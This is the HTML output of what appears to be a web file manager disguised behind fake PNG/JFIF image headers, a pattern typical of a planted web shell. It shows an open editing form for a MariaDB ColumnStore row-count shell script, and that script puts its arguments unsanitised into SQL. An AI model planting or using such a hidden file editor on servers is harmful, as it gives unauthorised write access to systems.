�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2F'>mariadb-11.7.2</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fstorage%2F'>storage</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fstorage%2Fcolumnstore%2F'>columnstore</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fstorage%2Fcolumnstore%2Fcolumnstore%2F'>columnstore</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fstorage%2Fcolumnstore%2Fcolumnstore%2Foamapps%2F'>oamapps</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fstorage%2Fcolumnstore%2Fcolumnstore%2Foamapps%2FcolumnstoreSupport%2F'>columnstoreSupport</a>/</p><hr><h3>✏️ Editing: approximateRowCount.sh</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#!/bin/bash

#
# Estimates the row count for a given table.  Uses number of extents * 8M for the estimate.
#

#
# Initialize variables.
#

if [ -z &quot;$MYSQLCMD&quot; ]; then
	MYSQLCMD=&quot;mysql -u root&quot;
fi

#
# Validate that there are two parameters - schema and table.
#
if [ $# -ne 2 ]; then
	echo &quot;&quot;
	echo &quot;Reports the approximate row count for the given table.&quot;
	echo &quot;&quot;
	echo &quot;Parameters:&quot;
	echo &quot;	Schema&quot;
	echo &quot;	Table&quot;
fi
db=$1
table=$2

#
# Validate that the table exists.
#
sql=&quot;select count(*) from systable where \`schema\`=&#039;$db&#039; and tablename=&#039;$table&#039;;&quot;
count=`$MYSQLCMD calpontsys --skip-column-names -e &quot;$sql;&quot;`
if [ $count -le 0 ]; then
	echo &quot;&quot;
	echo &quot;$db.$table does not exist in Columnstore.&quot;
	echo &quot;&quot;
	exit 1
fi

#
# Grab the objectid and column width for a column in the table.
#
sql=&quot;select objectid from syscolumn where \`schema\`=&#039;$db&#039; and tablename=&#039;$table&#039; limit 1;&quot; 
objectid=`$MYSQLCMD calpontsys --skip-column-names -e &quot;$sql&quot;`
sql=&quot;select columnlength from syscolumn where objectid=$objectid;&quot;
colWidth=`$MYSQLCMD calpontsys --skip-column-names -e &quot;$sql&quot;`

#
# Use editem to count the extents.
#
extentCount=`editem -o $objectid | wc -l`
let extentCount-=2 # Take out the 2 extra rows for header and blank line at end.
let approximateRowCount=$extentCount*8192*1024;

echo &quot;&quot;
echo &quot;Approximate row count for $db.$table is $approximateRowCount.&quot;
echo &quot;&quot;

exit 0
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fstorage%2Fcolumnstore%2Fcolumnstore%2Foamapps%2FcolumnstoreSupport'>🔙 Back</a></p>